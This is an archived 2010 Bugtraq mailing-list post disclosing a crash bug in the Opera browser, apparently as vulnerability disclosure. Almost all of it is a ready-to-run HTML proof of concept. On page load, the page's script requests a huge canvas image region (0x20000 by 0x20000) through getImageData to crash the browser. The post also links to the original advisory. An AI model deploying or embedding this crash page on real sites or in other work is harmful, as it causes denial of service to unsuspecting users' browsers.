[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201007121304.o6CD4liN007971@www3.securityfocus.com>
Date: Mon, 12 Jul 2010 07:04:47 -0600
From: info@...uritylab.ir
To: bugtraq@...urityfocus.com
Subject: Opera Crash by <canvas> Element
<html>
<body onload="Opera()">
<script language=JavaScript>
function Opera() {
canvas = document.getElementById("canvas");
ctx = canvas.getContext("2d");
ctx.getImageData(0,0,0x20000,0x20000);
}
</script>
<canvas id=canvas width=10 height=10></canvas>
</body>
</html>
Original Advisory:
http://pouya.info/blog/userfiles/vul/OperaCC.pdf
Powered by blists - more mailing lists